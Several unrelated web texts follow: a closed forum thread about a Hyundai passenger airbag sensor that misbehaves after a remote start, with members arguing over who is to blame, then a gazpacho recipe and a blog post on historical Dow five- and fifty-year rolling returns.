cajuncycler Member Posts: 172Unfortunately as computerized as todays cars are there is no such thing as a simple plug and play aftermarket electronics anymore. My suggestion is to send information to the company that manufactures your remote start unit and see if they have a fix or can at least research it. It is in their best interest to make their equipment compatible in the vehicles it is installed in, not Hyundai's.0
My initial thoughts would be that Hyundai needs to address the problem. When the car is running, however it has been started, it should be the job of the ECU to continuously check if there is someone sitting on the passenger seat. It does this when the car is started via the key....why shouldn't it do it now?
In terms of the aftermarket company, I'm not sure how it could possibly be their job to make sure that the car's ECU does its job properly. The job of the unit is to start/stop the car...maintain proper tach....keep a timer of how long car has been running and if over alloted time period stop.
Thanks for your thoughts/ideas/suggestions. They are very much appreciated.0
pat Member Posts: 10,421Well, I guess the thing is that the remote starter is clearly doing something to interfere with the ECU. I agree with cajuncycler - it's their problem, not Hyundai's. Hyundai is just going to tell you don't use the aftermarket part.
OTOH, the manufacturer of the remote starter wants you and every other Hyundai owner to use its product, so it has to make sure it is indeed usable. And right now it is not usable if you have a passenger in the car, at least not without you have to stop and restart the car. That should concern them and they will look at the problem.
Are there other aftermarket remote starters made by different manufacturers? If so, it would be interesting to know if they also do this.
(BTW, you don't really want us to leave you alone, do you? :P )0
backy Member Posts: 18,949You could test your time-limit theory by starting the car with the key, then waiting about 10 minutes before an adult climbs into the passenger seat. If the OCS works correctly in that case, it narrows the problem down to something with the remote starter installation.0
darvizu Member Posts: 1I understand your frustration. If you do a google search, you will find numerous complaints that the airbag light goes on and off on Hyundais. I have a 2006 Tuscon, purchased new, and I got the company line about sitting correctly, etc. for the airbag light to stay off. My 102 lb. passenger and others tried it all but they have a history of problems with the airbag sensor. File a complaint with the National Highway Traffic Safety office. I also did a video with the passenger holding a newspaper showing the light comes on just in case the dealer will not replace the sensor. Good luck.0
Thanks for the info. I just submitted a complaint with the National Highway Traffic Safety Office.0
I am curious, when you filed this complaint with NHTS where did you place the blame? That is if you assigned blame at all. The reason I ask is I tend to agree totally with some others who posted here stating than you should not tinker with the current generation of vehicles that highly integrate all systems including safety through processors that have more "smarts" than the computers used by NASA for the moon shots. What does that mean? It means you cannot start hacking into these systems...cutting and splicing wiring..rerouting and re-placing pins on plugs and the like. The manufacturers of these aftermarket items will swear they are compatible with everything on the automotive market(otherwise who would buy one)but now at least you know better. If there is blame to be placed I hope you started with the remote starter manufacturer followed closely by...you for allowing you car to be played with in this manner then trying to blame Hyundai for the problem!!0
I filed the complaint in regards to the airbag sensor not working properly when a passenger enters the car after it has been started. The airbag will not deploy until the car has been shut off and turned on with the person sitting in the passenger's seat.0
This should make 06 Sonata owners happy...Just bought one...Now it has to go in to get all this crap fixed...Surely, it is definately Hyundai's fault...Otherwise, love this car...0
Btw, another problem...Wait till over 60k miles and your airbag light on the dashboard will come on...Hmmm....Not a recall, yet...I, also, filed a complaint...Since it's almost 400,000 under recall, it's not your remote starter...0
LASHAWN Member Posts: 303I have the same year, make and model car as you and I was wondering something. If you use the remote starter while someone is in the seat, than the airbag light should stay off until you put the key in the ignition and turn to start position, right? If not, than there is something wrong with your remote starter unit. You may also want to at least have a dealer make sure the airbag itself is working properly when you use the remote starter when you say it's not on.0
After a few hrs of researching Hyundai problems, I have found out things I don't even want to know about. 1 - A remote starter has nothing to do with the airbag system in any car. I bet a dozen doughnuts that if you took the car back to where you had the remote starter installed and had them disconnect it, the problem would still be there. 2 - I have seen a multitude of posts about Hyundai's in front and side crashes over 25mph and the airbags NEVER deployed. Scary, huh? And this is over several models and several years. Airbags are "supposed" to be designed to deploy above 25mph. Alot of accidents were above 40mph and these people sustained major injuries that could have been prevented if the airbags actually deployed. Funny how Hyundai says in these instances that the car worked as designed. This is not only a lie, but criminal. The only time you should see an airbag light at all is when the car is started and the "idiot" lights do a self-test. The idiot lights are all the dashboard lights that come on when you start the car and go off in a couple of seconds. The problem with your passenger seat (and mine) is the air bladder that measures the weight on the cushion. It's a recalled and defective part. From my 120 lb. wife to her 270 lb. cousin, that light should never come on as no one on planet earth would consider them "child" weight. Here's the skinny. As far as the dashboard "airbag" light, I've heard several problems. It could be a low voltage battery ( I really laughed at this one), under-dash wiring harness problem, seatbelt sensor defective, under-the-seat connectors becoming disconnected when moving the seats, drinks spilling in the drink holders corroding wires, etc...Hyundai has a billion dollar problem on their hands and the only way for them to fix it is to deny it. The government should step in but they're too busy spending this country's wealth. Hence, don't hit anything. That could really ruin your day...0
Airbags not deploying....0
Yes, and after only a few MINUTES of on line research I found deployment and non-deployment issues (including recalls and NHTSA investigations) for the following manufacturers: Ford, Dodge, Chevrolet, BMW, VW, Toyota, Honda, Saturn and probably every other company if I had looked further. So, don't try to single out Hyundai as the only manufacturer with SRS issues. Further, I went to the link which you provided to read some of the "documented" Hyundai SRS non-deployment and unintended deployment issues and some make nice fictional reading but if you think I believe all there..guess again. I don't even think some of the earlier (1999-2000-2001) Hyundai models especially the Accent and Elantra even had side impact curtains and people there were suprised they didn't deploy???0
Calm down, targetpractice...We're specifically talking about Hyundai's here...What you THINK about other people having problems with their cars doesn't matter here...Hey, did you ever think that some people might not know exactly what airbag setup they have?...Don't know who pissed in yer Cherrios, but try adding somethng positive here...Seriously, it won't hurt...lol....0
I am calm...you should see me otherwise. However, linking to a site with dubious information, written by people who don't even know if their specific car has a side curtain system then complain when the non existing system didn't deploy isn't, in my opinion, useful. And, of course, what I THINK matters otherwise I'll just agree with you all the time.0
This discussion has been closed.


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Kaufmann supports up to 50 different languages such as Spanish, English, Portuguese, German, French, Italian, Dutch, Swedish, Finnish, Danish, Irish, Basque, Icelandic, and Luxembourgian in Latin and other scripts.
Please note that not all languages are available for all formats.
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Goodbye Summer Recipe: Malaga Gazpacho
Before you kiss summer goodbye, during these last days of sunny early evenings, make a batch of this unusual, tomato–less gazpacho. It's smooth, satisfying and refreshing. Have you ever tried this version of the much–adored chilled Spanish soup?
I first tasted this 'blonde' variation of gazpacho while living in southern Spain. My host mom made several memorable meals, some dazzling — such as churros and hot chocolate for breakfast — as well as some lackluster main dishes such as tuna fish-mayonnaise pie.
I was always happy when she blended up her mother's easy specialty, gazpacho in the Malaga manner. It was refreshing in the heat of summer, satisfying in its addition of almonds and bread and unusual to my American palate. I've still never had anything quite like it and I prefer it to its more popular version, heavy with tomatoes.
Malaga gazpacho relies heavily on cucumbers and grapes, a lovely combination of flavors. This soup is wonderful now served with a simple side salad and a piece of toast, or it could be updated as an interesting starter course later on into fall. It would definitely be a conversation starter at any autumn dinner party.
Malaga Gazpacho
Serves4 to 6
Nutritional Info
- 1/2
standard-sized baguette, torn into 1-inch pieces
- 2 cups
ice water, divided
- 2 cloves
garlic, minced
- 1/2 teaspoon
- 3/4 cup
blanched almonds (reserve a few to garnish finished soup)
- 2
medium-sized cucumbers, peeled and roughly chopped
- 2 cups
green grapes
- 1 tablespoon
sherry vinegar, or to taste
- 1/3 cup
mild extra-virgin olive oil
Chopped green onions (for garnish)
Place the torn bread pieces in a medium sized bowl, cover with 1 cup of the ice water and set aside (bread will become mushy) for about five minutes.
In the bowl of a blender, add the bread, water, and all the remaining ingredients (do this in batches if it all won't fit). Blend until smooth and chill for at least 30 minutes, to 4 hours (letting it chill and set allows flavors to come together). When serving, garnish with a little green chopped onion and almonds.
(Images: Leela Cyd Ross)


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(Note: This post covers returns through year-end 2008; for the most recent 5-year return, see this post.)
"Rolling" 5-Year Stock Market (Dow) Returns Graph
Dow 5-Year Rolling Returns
Above is a chart of the five-year total return of the DJIA (Dow Jones Industrial Average) beginning around 1900. Each point on the graph represents the average annual return earned by an investor who bought the Dow at that year-end and sold 5 years later, reinvesting dividends in the interim. For example, the first point on the graph shows that an investor who bought at year-end 1901, reinvested dividends annually, and sold at year-end 1906 earned approximately 13% per year. As always, I've had to estimate the dividends prior to 1929.
The Best & Worst 5-Year Returns in History
As usual, the worst return (-16.4% per year) resulted from buying before the 1929 crash -- 1927 in this case, rather than our usual 1928. (Note: for more on the 1929 crash, see this post.) Also as usual, the best returns were the result of, in effect, selling near the top of a bubble. Buying in 1923 and selling in 1928 earned a 30.7% 5-year return; buying in 1994 and selling in 1999 earned a 26.8% return. Finally, again as usual, the average return was 10%. (Note: For a very different way of looking at the best and worst five year returns, see Range of Stock Market Returns from 1-10 Years in Dollars.)
Observations & Questions
Not surprisingly, the best 5-year return is better than the best 10-year return, but not as good as the best 1-year return. The worst 5-year return is worse than the worst 10-year return, but not as bad as the worst 1-year return. In addition, while I don't think the cyclicality of the 5-year returns is as pronounced as the 10-year returns, it's clearly more than is visible in the 1-year returns. And, that starts me down a whole new path.
We've been looking at the rolling returns to see what we can learn from them individually. However, there is clearly some kind of a pattern developing if we think of them as a series. For instance, you might ask, as you go from 2-year rolling returns to, say, 100-year rolling returns, what happens to the range of returns? When does the cyclicality start? When does it end? And, what's causing it??
John, thanks for encouraging me to continue this line of inquiry. As a first step, let's take a look at a longer-term rolling return.
Dow 50-Year "Rolling" Stock Market Returns Chart
Dow 50-Year Returns
The winner is (drum roll please) 1949, with a 12.8% annual return for the next 50 years -- at least partly because, 50 years from 1949 is ... 1999. And, the loser is (another drum roll) 1928, again, with a 6.8% annual return -- for the next 50 years. (Note: The average return was again 10%.) Remember, these are nominal returns, so assuming inflation averaged around 3%, the real return from 1928 was 3.8%. (For more on nominal vs real returns, see this post). As we have seen (e.g., in Stock Market Yearly Returns), investing in the stock market for 50 years exposes you to substantial year-to-year risk. Seems like a lot of risk, and for a lot of years, for less than 4% real return....
I have no idea how you know when you're 50 years before a bubble peaks so that you can buy. But, maybe we have a hope of figuring out when we're already at or near a peak so that we can at least consider not buying.
Let's keep digging.
Note: The above charts are based on DJIA (Dow Jones Industrial Average) data from my Stock Market Analysis Model. Results would be essentially the same if we used S&P 500 data. Dow dividends prior to 1929 have been estimated using another stock market index.
Related Posts:See the sidebar to the left for an index of all stock market posts, by subject area -- including:
Why Investing in the Stock Market for Less Than 5 Years is Risky: A look at the distribution of the 5-year returns, in dollars.
Range of Returns for 1 to 100-Year Holding Periods graph of best & worst past returns for 1,2,3 ... 100-year periods.
Earnings, Dividends Determine 50-Year Returns: decomposing 50-year returns into return contributed by earnings growth, dividends, change in p/e.
Range of Returns in Dollars for 10-100 Years for a very different look at 50 year returns.
The Best & Worst Years in Stock Market History: 1-year returns
The Best & Worst 10 Years in Stock Market History
The Best & Worst 20 Years in Stock Market History
Rolling 35-Year Returns
Projecting Stock Market Returns
Last modified 8/9/2011